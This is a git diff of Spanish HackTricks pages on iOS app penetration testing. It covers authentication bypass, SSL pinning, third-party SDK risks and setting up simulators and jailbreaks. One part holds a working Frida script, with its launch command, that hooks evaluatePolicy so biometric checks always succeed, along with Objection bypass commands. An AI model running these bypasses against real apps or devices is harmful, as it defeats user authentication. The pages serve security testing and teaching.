siguientes (recuerda que `LocalAuthentication.framework` utiliza `Security.framework` bajo el capó): +Si se utiliza `LocalAuthentication.framework` en una aplicación, la salida contendrá ambas de las siguientes líneas (recuerda que `LocalAuthentication.framework` utiliza `Security.framework` internamente): ```bash /System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication /System/Library/Frameworks/Security.framework/Security @@ -1134,9 +1019,9 @@ Si se utiliza `Security.framework`, solo se mostrará el segundo. ### Bypass del Marco de Autenticación Local -#### Objeción +#### Objection -\*\*\*\*[**Objection Biometrics Bypass**](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) \*\*\*\* se puede utilizar para evitar la autenticación local. Objection **utiliza Frida para instrumentar la función `evaluatePolicy` para que devuelva `True`** incluso si la autenticación no se realizó correctamente. Utilice el comando `ios ui biometrics_bypass` para evitar la autenticación biométrica insegura. Objection registrará un trabajo que reemplazará el resultado de `evaluatePolicy`. Funcionará tanto en implementaciones Swift como Objective-C. +[**Objection Biometrics Bypass**](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) se puede utilizar para evitar la autenticación local. Objection **utiliza Frida para instrumentar la función `evaluatePolicy` para que devuelva `True`** incluso si la autenticación no se realizó correctamente. Utiliza el comando `ios ui biometrics_bypass` para evitar la autenticación biométrica insegura. Objection registrará un trabajo que reemplazará el resultado de `evaluatePolicy`. Funcionará tanto en implementaciones Swift como Objective-C. ```bash ...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass (agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable @@ -1145,79 +1030,79 @@ Si se utiliza `Security.framework`, solo se mostrará el segundo. (agent) [3mhtws9x47q] Marking OS response as True instead (agent) [3mhtws9x47q] Biometrics bypass hook complete ``` -Si es vulnerable, el módulo automáticamente pasará por alto el formulario de inicio de sesión. +Si es vulnerable, el módulo automáticamente omitirá el formulario de inicio de sesión. #### Frida Un ejemplo de uso de **`evaluatePolicy`** de la aplicación [DVIA-v2](https://github.com/prateek147/DVIA-v2): ```swift +(void)authenticateWithTouchID { - LAContext *myContext = [[LAContext alloc] init]; - NSError *authError = nil; - NSString *myLocalizedReasonString = @"Please authenticate yourself"; - - if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) { - [myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics - localizedReason:myLocalizedReasonString - reply:^(BOOL success, NSError *error) { - if (success) { - dispatch_async(dispatch_get_main_queue(), ^{ - [TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"]; - }); - } else { - dispatch_async(dispatch_get_main_queue(), ^{ - [TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"]; - }); - } - }]; - } else { - dispatch_async(dispatch_get_main_queue(), ^{ - [TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"]; - }); - } +LAContext *myContext = [[LAContext alloc] init]; +NSError *authError = nil; +NSString *myLocalizedReasonString = @"Please authenticate yourself"; + +if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) { +[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics +localizedReason:myLocalizedReasonString +reply:^(BOOL success, NSError *error) { +if (success) { +dispatch_async(dispatch_get_main_queue(), ^{ +[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"]; +}); +} else { +dispatch_async(dispatch_get_main_queue(), ^{ +[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"]; +}); +} +}]; +} else { +dispatch_async(dispatch_get_main_queue(), ^{ +[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"]; +}); +} } ``` -Para saltarse la Autenticación Local, tenemos que escribir un script de Frida que **salte** la verificación mencionada de _**evaluatePolicy**. Como se puede ver en el fragmento de código anterior, **evaluatePolicy** utiliza un **callback** que determina el **resultado**. Por lo tanto, la forma más fácil de lograr el hackeo es interceptar ese callback y asegurarse de que siempre devuelva **success=1**. +Para evadir la Autenticación Local, debemos escribir un script de Frida que **evade** la mencionada comprobación de _**evaluatePolicy**. Como se puede ver en el fragmento de código anterior, **evaluatePolicy** utiliza un **callback** que determina el **resultado**. Por lo tanto, la forma más sencilla de lograr el hackeo es interceptar ese callback y asegurarse de que siempre devuelva el valor de **success=1**. ```swift // from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/ if(ObjC.available) { - console.log("Injecting..."); - var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"]; - Interceptor.attach(hook.implementation, { - onEnter: function(args) { - var block = new ObjC.Block(args[4]); - const callback = block.implementation; - block.implementation = function (error, value) { - - console.log("Changing the result value to true") - const result = callback(1, null); - return result; - }; - }, - }); +console.log("Injecting..."); +var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"]; +Interceptor.attach(hook.implementation, { +onEnter: function(args) { +var block = new ObjC.Block(args[4]); +const callback = block.implementation; +block.implementation = function (error, value) { + +console.log("Changing the result value to true") +const result = callback(1, null); +return result; +}; +}, +}); } else { - console.log("Objective-C Runtime is not available!"); +console.log("Objective-C Runtime is not available!"); } ``` ``` frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js ``` -## Exposición de Funcionalidades Sensibles a través de IPC +## Exposición de Funcionalidad Sensible a través de IPC -### Controladores de URI Personalizados / Enlaces Profundos / Esquemas Personalizados +### Controladores de URI personalizados / Enlaces profundos / Esquemas personalizados {% content-ref url="ios-custom-uri-handlers-deeplinks-custom-schemes.md" %} [ios-custom-uri-handlers-deeplinks-custom-schemes.md](ios-custom-uri-handlers-deeplinks-custom-schemes.md) {% endcontent-ref %} -### Enlaces Universales +### Enlaces universales {% content-ref url="ios-universal-links.md" %} [ios-universal-links.md](ios-universal-links.md) {% endcontent-ref %} -### Compartir UIActivity +### Compartir con UIActivity {% content-ref url="ios-uiactivity-sharing.md" %} [ios-uiactivity-sharing.md](ios-uiactivity-sharing.md) @@ -1229,7 +1114,7 @@ frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-i [ios-uipasteboard.md](ios-uipasteboard.md) {% endcontent-ref %} -### Extensiones de Aplicaciones +### Extensiones de la aplicación {% content-ref url="ios-app-extensions.md" %} [ios-app-extensions.md](ios-app-extensions.md) @@ -1241,55 +1126,100 @@ frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-i [ios-webviews.md](ios-webviews.md) {% endcontent-ref %} -### Serialización y Codificación +### Serialización y codificación {% content-ref url="ios-serialisation-and-encoding.md" %} [ios-serialisation-and-encoding.md](ios-serialisation-and-encoding.md) {% endcontent-ref %} -## Comunicación en Red +## Comunicación en red -Es importante verificar que no se esté produciendo **ninguna comunicación sin cifrado** y que la aplicación esté validando correctamente el **certificado TLS** del servidor.\ -Para comprobar este tipo de problemas, se puede utilizar un proxy como **Burp**: +Es importante verificar que no se esté produciendo ninguna comunicación **sin cifrado** y también que la aplicación esté validando correctamente el **certificado TLS** del servidor.\ +Para verificar este tipo de problemas, puedes utilizar un proxy como **Burp**: {% content-ref url="burp-configuration-for-ios.md" %} [burp-configuration-for-ios.md](burp-configuration-for-ios.md) {% endcontent-ref %} -### Comprobación de Nombre de Host +### Verificación de nombre de host -Un problema común al validar el certificado TLS es comprobar que el certificado fue firmado por una **CA de confianza**, pero **no comprobar** si **el nombre de host** del certificado es el nombre de host al que se está accediendo.\ -Para comprobar este problema utilizando Burp, después de confiar en la CA de Burp en el iPhone, se puede **crear un nuevo certificado con Burp para un nombre de host diferente** y utilizarlo. Si la aplicación sigue funcionando, entonces algo es vulnerable. +Un problema común al validar el certificado TLS es verificar que el certificado haya sido firmado por una **CA de confianza**, pero **no verificar** si **el nombre de host** del certificado es el nombre de host al que se accede.\ +Para verificar este problema utilizando Burp, después de confiar en la CA de Burp en el iPhone, puedes **crear un nuevo certificado con Burp para un nombre de host diferente** y utilizarlo. Si la aplicación sigue funcionando, entonces algo es vulnerable. -### Pinning de Certificado +### Pinning de certificados -Si una aplicación está utilizando correctamente el Pinning de SSL, entonces la aplicación solo funcionará si el certificado es el que se espera. Al probar una aplicación, **esto puede ser un problema ya que Burp servirá su propio certificado**.\ -Para evitar esta protección dentro de un dispositivo con jailbreak, se puede instalar la aplicación [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) o instalar \[**Burp Mobile Assistant\_\*]\(\_**[**https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing)\\**](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing\)/)\* +Si una aplicación está utilizando correctamente el Pinning de SSL, entonces la aplicación solo funcionará si el certificado es el esperado. Al probar una aplicación, **esto puede ser un problema ya que Burp servirá su propio certificado**.\ +Para evitar esta protección en un dispositivo con jailbreak, puedes instalar la aplicación [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) o instalar [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) -También se puede utilizar **objection's** `ios sslpinning disable` +También puedes utilizar el comando `ios sslpinning disable` de **objection**. ## Misceláneo -* En **`/System/Library`** se pueden encontrar los frameworks instalados en el teléfono utilizados por las aplicaciones del sistema. -* Las aplicaciones instaladas por el usuario desde la App Store se encuentran dentro de **`/User/Applications`**. -* Y **`/User/Library`** contiene datos guardados por las aplicaciones de nivel de usuario. -* Se puede acceder a **`/User/Library/Notes/notes.sqlite`** para leer las notas guardadas dentro de la aplicación. -* Dentro de la carpeta de una aplicación instalada (**`/User/Applications//`**) se pueden encontrar algunos archivos interesantes: - * **`iTunesArtwork`**: El icono utilizado por la aplicación. - * **`iTunesMetadata.plist`**: Información de la aplicación utilizada en la App Store. - * **`/Library/*`**: Contiene las preferencias y la caché. En **`/Library/Cache/Snapshots/*`** se pueden encontrar las instantáneas realizadas a la aplicación antes de enviarla al fondo. +* En **`/System/Library`** puedes encontrar los frameworks instalados en el teléfono utilizados por las aplicaciones del sistema. +* Las aplicaciones instaladas por el usuario desde la App Store se encuentran en **`/User/Applications`**. +* Y **`/User/Library`** contiene los datos guardados por las aplicaciones a nivel de usuario. +* Puedes acceder a **`/User/Library/Notes/notes.sqlite`** para leer las notas guardadas dentro de la aplicación. +* Dentro de la carpeta de una aplicación instalada (**`/User/Applications//`**) puedes encontrar algunos archivos interesantes: +* **`iTunesArtwork`**: El icono utilizado por la aplicación. +* **`iTunesMetadata.plist`**: Información de la aplicación utilizada en la App Store. +* **`/Library/*`**: Contiene las preferencias y la caché. En **`/Library/Cache/Snapshots/*`** puedes encontrar la instantánea realizada a la aplicación antes de enviarla al segundo plano. -### Parcheo en Caliente/Actualización Forzada +### Parcheo en caliente/Actualización forzada Los desarrolladores pueden **parchear remotamente todas las instalaciones de su aplicación al instante** sin tener que volver a enviar la aplicación a la App Store y esperar a que sea aprobada.\ -Para este propósito, se utiliza generalmente [**JSPatch**](https://github.com/bang590/JSPatch)**.** Pero también hay otras opciones como [Siren](https://github.com/ArtSabintsev/Siren) y [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\ -**Este es un mecanismo peligroso que podría ser abusado por SDK de terceros maliciosos, por lo tanto, se recomienda verificar qué método se utiliza para la actualización automática (si lo hay) y probarlo.** Se podría intentar descargar una versión anterior de la aplicación para este propósito. +Para este propósito, generalmente se utiliza [**JSPatch**](https://github.com/bang590/JSPatch)**.** Pero también hay otras opciones como [Siren](https://github.com/ArtSabintsev/Siren) y [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\ +**Este es un mecanismo peligroso que podría ser abusado por SDK de terceros maliciosos, por lo tanto, se recomienda verificar qué método se utiliza para la actualización automática (si lo hay) y probarlo.** Puedes intentar descargar una versión anterior de la aplicación con este propósito. ### Terceros -Un problema de los SDK de terceros es que no hay **control granular sobre las características ofrecidas por el SDK**. Se podría utilizar el SDK y tener todas las características (incluyendo fugas de diagnóstico y conexiones HTTP inseguras), o no utilizarlo. Además, por lo general, no es posible para los desarrolladores de aplicaciones **parchear una vulnerabilidad** en el SDK.\ -Además, algunos SDK comienzan a **contener malware una vez que son muy confiables** por la comunidad. +Un problema de los SDK de terceros es que no hay **control granular sobre las características ofrecidas por el SDK**. Puedes usar el SDK y tener todas las características (incluyendo fugas de diagnóstico y conexiones HTTP inseguras), o no usarlo. Además, por lo general, no es posible para los desarrolladores de aplicaciones **parchear una vulnerabilidad** en el SDK.\ +Además, algunos SDK comienzan a **contener malware una vez que son muy confiables** para la comunidad. -Además, las características que estos servicios proporcionan pueden implicar servicios de **seguimiento para monitorear el comportamiento del usuario** mientras utiliza la aplicación, vender anuncios de banner o mejorar la experiencia del usuario. El inconveniente de los servicios de terceros es que los desarrolladores no conocen los detalles del código ejecutado a través de las bibliotecas de terceros. En consecuencia, no se debe enviar a un servicio más información de la necesaria y no se debe divulgar información confidencial. +Además, las características que estos servicios proporcionan pueden implicar servicios de **rastreo para monitorear el comportamiento del usuario** mientras utiliza la aplicación, vender anuncios de banner o mejorar la experiencia del usuario. El inconveniente de los servicios de terceros es que los desarrolladores no conocen los detalles del código ejecutado a través de las bibliotecas de terceros. En consecuencia, no se debe enviar más información de la necesaria a un servicio y no se debe divulgar información confidencial. -El inconveniente es que un **desarrollador no conoce en detalle qué código se ejecuta a través de las bibliotecas de terceros** y, por lo tanto, renuncia a la visibilidad. En consecuencia, se debe asegurar que no se envíe más +La desventaja es que un **desarrollador no conoce en detalle qué código se ejecuta a través de las bibliotecas de terceros** y, por lo tanto, renuncia a la visibilidad. En consecuencia, se debe asegurar que no se envíe más información de la necesaria al servicio y que no se divulgue información confidencial. + +La mayoría de los servicios de terceros se implementan de dos formas: + +* con una biblioteca independiente +* con un SDK completo + +Todos los datos que se envían a los servicios de terceros deben ser anonimizados para evitar la exposición de información de identificación personal (PII, por sus siglas en inglés) que permitiría a terceros identificar la cuenta de usuario. + +Puedes encontrar las **bibliotecas utilizadas por una aplicación** ejecutando **`otool`** contra la aplicación (y **ejecutándolo** contra **cada** biblioteca **compartida** para encontrar más bibliotecas compartidas utilizadas). + +## **Referencias** + +* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering) +* [iOS & Mobile App Pentesting - INE](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting) +## Más información + +* [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) Curso gratuito de iOS ([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)) +* [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577) +* [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse) +* [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA) +* [https://github.com/prateek147/DVIA-v2](https://github.com/prateek147/DVIA-v2) +* [https://github.com/OWASP/MSTG-Hacking-Playground%20](https://github.com/OWASP/MSTG-Hacking-Playground) +* OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< Versión Objective-C [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< Versión Swift +* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS) +* [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2) + +![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png) + +\ +Utiliza [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\ +Obtén acceso hoy mismo: + +{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} + +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). + +
diff --git a/mobile-pentesting/ios-pentesting/ios-testing-environment.md b/mobile-pentesting/ios-pentesting/ios-testing-environment.md index 726e803e2..66a6875af 100644 --- a/mobile-pentesting/ios-pentesting/ios-testing-environment.md +++ b/mobile-pentesting/ios-pentesting/ios-testing-environment.md @@ -1,104 +1,170 @@ -# Apple Developer Program +# Entorno de Pruebas de iOS -Una **identidad de aprovisionamiento** es una colección de claves públicas y privadas que están asociadas a una cuenta de desarrollador de Apple. Para **firmar aplicaciones**, es necesario pagar **99$/año** para registrarse en el **Programa de Desarrolladores de Apple** y obtener su identidad de aprovisionamiento. Sin esto, no podrá ejecutar aplicaciones desde el código fuente en un dispositivo físico. Otra opción para hacer esto es usar un **dispositivo con jailbreak**. +
-A partir de Xcode 7.2, Apple ha proporcionado una opción para crear un **perfil de aprovisionamiento de desarrollo de iOS gratuito** que permite escribir y probar su aplicación en un iPhone real. Vaya a _Xcode_ --> _Preferencias_ --> _Cuentas_ --> _+_ (Agregar nuevo ID de aplicación a sus credenciales) --> _Haga clic en el ID de Apple creado_ --> _Gestionar certificados_ --> _+_ (Desarrollo de Apple) --> _Hecho_\ -__Luego, para ejecutar su aplicación en su iPhone, primero debe **indicar al iPhone que confíe en la computadora**. Luego, puede intentar **ejecutar la aplicación en el móvil desde Xcode**, pero aparecerá un error. Entonces, vaya a _Configuración_ --> _General_ --> _Perfiles y administración de dispositivos_ --> Seleccione el perfil no confiable y haga clic en "**Confiar**". +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -Tenga en cuenta que **las aplicaciones firmadas por el mismo certificado de firma pueden compartir recursos de manera segura, como elementos del llavero**. +* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). + +
+ +## Programa de Desarrolladores de Apple + +Una **identidad de aprovisionamiento** es una colección de claves públicas y privadas asociadas a una cuenta de desarrollador de Apple. Para **firmar aplicaciones**, debes pagar **99$/año** para registrarte en el **Programa de Desarrolladores de Apple** y obtener tu identidad de aprovisionamiento. Sin esto, no podrás ejecutar aplicaciones desde el código fuente en un dispositivo físico. Otra opción es utilizar un **dispositivo con jailbreak**. + +A partir de Xcode 7.2, Apple ha proporcionado una opción para crear un **perfil de aprovisionamiento de desarrollo de iOS gratuito** que permite escribir y probar tu aplicación en un iPhone real. Ve a _Xcode_ --> _Preferencias_ --> _Cuentas_ --> _+_ (Agregar nueva ID de aplicación con tus credenciales) --> _Haz clic en la ID de Apple creada_ --> _Gestionar certificados_ --> _+_ (Desarrollo de Apple) --> _Hecho_\ +\_\_Luego, para ejecutar tu aplicación en tu iPhone, primero debes **indicarle al iPhone que confíe en la computadora**. Luego, puedes intentar **ejecutar la aplicación en el móvil desde Xcode**, pero aparecerá un error. Entonces ve a _Configuración_ --> _General_ --> _Perfiles y administración de dispositivos_ --> Selecciona el perfil no confiable y haz clic en "**Confiar**". + +Ten en cuenta que **las aplicaciones firmadas con el mismo certificado de firma pueden compartir recursos de manera segura, como elementos del llavero**. Los perfiles de aprovisionamiento se almacenan dentro del teléfono en **`/Library/MobileDevice/ProvisioningProfiles`** -# **Simulador** - -{% hint style="info" %} -Tenga en cuenta que un **simulador no es lo mismo que un emulador**. El simulador solo simula el comportamiento del dispositivo y las funciones, pero no las utiliza realmente. -{% endhint %} - -El simulador de iOS SDK ofrece una _simulación_ de nivel superior de un dispositivo iOS. Lo más importante es que los binarios del emulador se compilan en código x86 en lugar de código ARM. Las aplicaciones compiladas para un dispositivo real no se ejecutan, lo que hace que el simulador sea inútil para el análisis de caja negra y la ingeniería inversa. - ## **Simulador** -Lo primero que debe saber es que **realizar una prueba de penetración dentro de un simulador será mucho más limitado que hacerlo en un dispositivo con jailbreak**. +{% hint style="info" %} +Ten en cuenta que un **simulador no es lo mismo que un emulador**. El simulador solo simula el comportamiento del dispositivo y sus funciones, pero no las utiliza realmente. +{% endhint %} -Todas las herramientas necesarias para construir y admitir una aplicación de iOS solo son **oficialmente compatibles en Mac OS**.\ -La herramienta de facto de Apple para crear / depurar / instrumentar aplicaciones de iOS es **Xcode**. Se puede usar para descargar otros componentes como **simuladores** y diferentes **versiones de SDK** necesarias para construir y **probar** su aplicación.\ -Es muy recomendable **descargar** Xcode desde la **tienda de aplicaciones oficial**. Otras versiones pueden contener malware. +El simulador del SDK de iOS ofrece una _simulación_ de nivel superior de un dispositivo iOS. Lo más importante es que los binarios del emulador se compilan en código x86 en lugar de código ARM. Las aplicaciones compiladas para un dispositivo real no se ejecutan, lo que hace que el simulador sea inútil para el análisis de caja negra y la ingeniería inversa. -Los archivos del simulador se pueden encontrar en `/Users//Library/Developer/CoreSimulator/Devices` +### **Simulador** -Para abrir el simulador, ejecute Xcode, luego presione en la pestaña _Xcode_ --> _Abrir herramientas de desarrollador_ --> _Simulador_\ -__En la siguiente imagen, al hacer clic en "iPod touch \[...]" puede seleccionar otro dispositivo para probar: +Lo primero que debes saber es que **realizar una prueba de penetración dentro de un simulador será mucho más limitado que hacerlo en un dispositivo con jailbreak**. + +Todas las herramientas necesarias para construir y admitir una aplicación de iOS **solo son oficialmente compatibles en Mac OS**.\ +La herramienta de facto de Apple para crear/depurar/instrumentar aplicaciones de iOS es **Xcode**. Se puede utilizar para descargar otros componentes como **simuladores** y diferentes **versiones de SDK** necesarios para construir y **probar** tu aplicación.\ +Se recomienda encarecidamente **descargar** Xcode desde la **tienda de aplicaciones oficial**. Otras versiones pueden contener malware. + +Los archivos del simulador se pueden encontrar en `/Users//Library/Developer/CoreSimulator/Devices` + +Para abrir el simulador, ejecuta Xcode, luego presiona en la pestaña _Xcode_ --> _Abrir herramientas de desarrollo_ --> _Simulador_\ +\_\_En la siguiente imagen, al hacer clic en "iPod touch \[...]", puedes seleccionar otro dispositivo para probar: ![](<../../.gitbook/assets/image (457).png>) ![](<../../.gitbook/assets/image (458).png>) -## Aplicaciones en el simulador +### Aplicaciones en el Simulador -Dentro de `/Users//Library/Developer/CoreSimulator/Devices` puede encontrar todos los **simuladores instalados**. Si desea acceder a los archivos de una aplicación creada dentro de uno de los emuladores, puede ser difícil saber **en cuál se instaló la aplicación**. Una forma rápida de **encontrar el UID correcto** es ejecutar la aplicación en el simulador y ejecutar: +Dentro de `/Users//Library/Developer/CoreSimulator/Devices`, puedes encontrar todos los **simuladores instalados**. Si deseas acceder a los archivos de una aplicación creada dentro de uno de los emuladores, puede ser difícil saber **en cuál está instalada la aplicación**. Una forma rápida de **encontrar el UID correcto** es ejecutar la aplicación en el simulador y ejecutar: ```bash xcrun simctl list | grep Booted - iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted) +iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted) ``` -Una vez que conozcas el UID, las aplicaciones instaladas dentro de él se pueden encontrar en `/Users//Library/Developer/CoreSimulator/Devices/{UID}/data/Containers/Data/Application` +Una vez que conozcas el UID, las aplicaciones instaladas dentro de él se pueden encontrar en `/Users//Library/Developer/CoreSimulator/Devices/{UID}/data/Containers/Data/Application`. -Sin embargo, sorprendentemente, no encontrarás la aplicación aquí. Necesitas acceder a `/Users//Library/Developer/Xcode/DerivedData/{Application}/Build/Products/Debug-iphonesimulator/` +Sin embargo, sorprendentemente no encontrarás la aplicación aquí. Debes acceder a `/Users//Library/Developer/Xcode/DerivedData/{Application}/Build/Products/Debug-iphonesimulator/`. -Y en esta carpeta puedes **encontrar el paquete de la aplicación.** +Y en esta carpeta puedes **encontrar el paquete de la aplicación**. -# Emulador +## Emulador -Corellium es el único emulador de iOS disponible públicamente. Es una solución empresarial SaaS con un modelo de licencia por usuario y no ofrece ninguna licencia de prueba. +Corellium es el único emulador de iOS disponible públicamente. Es una solución empresarial de SaaS con un modelo de licencia por usuario y no ofrece ninguna licencia de prueba. -# Jailbreak +## Jailbreaking -Apple exige estrictamente que el código que se ejecuta en el iPhone debe estar **firmado por un certificado emitido por Apple**. **Jailbreaking** es el proceso de **circunvenir activamente tales restricciones** y otros controles de seguridad establecidos por el sistema operativo. Por lo tanto, una vez que el dispositivo está jailbroken, la **comprobación de integridad** que se encarga de comprobar las aplicaciones que se instalan está parcheada para que se **omitida**. +Apple exige estrictamente que el código que se ejecuta en el iPhone debe estar **firmado por un certificado emitido por Apple**. **Jailbreaking** es el proceso de **sortear activamente estas restricciones** y otros controles de seguridad establecidos por el sistema operativo. Por lo tanto, una vez que el dispositivo está jailbroken, la **verificación de integridad** que se encarga de verificar las aplicaciones instaladas se parchea y se **bypassa**. {% hint style="info" %} -A diferencia de Android, **no puedes cambiar a "Modo desarrollador"** en iOS para ejecutar código no firmado/no confiable en el dispositivo. +A diferencia de Android, **no puedes cambiar al "Modo de desarrollador"** en iOS para ejecutar código no firmado/no confiable en el dispositivo. {% endhint %} -## Comparación con Root en Android +### Comparación con el acceso root en Android -A menudo se **compara el jailbreaking de iOS con el rooting de Android**, pero el proceso es en realidad bastante **diferente**. Para explicar la diferencia, primero revisaremos los conceptos de "rooting" y "flashing" en Android. +El jailbreaking de iOS se compara a menudo con el acceso root en Android, pero el proceso es en realidad bastante **diferente**. Para explicar la diferencia, primero revisaremos los conceptos de "rooting" y "flashing" en Android. -* **Rooting**: Esto suele implicar la instalación del binario `su` en el sistema o la sustitución de todo el sistema con una ROM personalizada con root. No se requieren exploits para obtener acceso root siempre y cuando el cargador de arranque sea accesible. -* **Flashing de ROMs personalizadas**: Esto te permite reemplazar el sistema operativo que se está ejecutando en el dispositivo después de desbloquear el cargador de arranque. El cargador de arranque puede requerir un exploit para desbloquearlo. +* **Rooting**: Esto generalmente implica instalar el binario `su` en el sistema o reemplazar todo el sistema con una ROM personalizada con acceso root. No se requieren exploits para obtener acceso root siempre que el gestor de arranque sea accesible. +* **Flashing de ROMs personalizadas**: Esto te permite reemplazar el sistema operativo que se ejecuta en el dispositivo después de desbloquear el gestor de arranque. El gestor de arranque puede requerir un exploit para desbloquearlo. -**En los dispositivos iOS, es imposible flashear una ROM personalizada** porque el cargador de arranque de iOS **solo permite arrancar y flashear imágenes firmadas por Apple**. Es por eso que incluso **las imágenes oficiales de iOS no se pueden instalar si no están firmadas por Apple, y hace que los downgrades de iOS solo sean posibles mientras la versión anterior de iOS aún esté firmada.** +**En los dispositivos iOS, es imposible flashear una ROM personalizada** porque el gestor de arranque de iOS **solo permite el arranque y el flasheo de imágenes firmadas por Apple**. Es por eso que incluso las **imágenes oficiales de iOS no se pueden instalar si no están firmadas por Apple, y esto hace que las versiones anteriores de iOS solo sean posibles mientras la versión anterior de iOS aún esté firmada**. -El propósito del jailbreaking es **desactivar las protecciones de iOS** (en particular, los mecanismos de firma de código de Apple) para que se pueda ejecutar **código no firmado arbitrario en el dispositivo** (por ejemplo, código personalizado o descargado de tiendas de aplicaciones alternativas como Cydia o Sileo). La palabra "jailbreak" es una referencia coloquial a las herramientas todo en uno que automatizan el proceso de desactivación. +El propósito del jailbreaking es **desactivar las protecciones de iOS** (especialmente los mecanismos de firma de código de Apple) para que se pueda ejecutar **código no firmado arbitrario en el 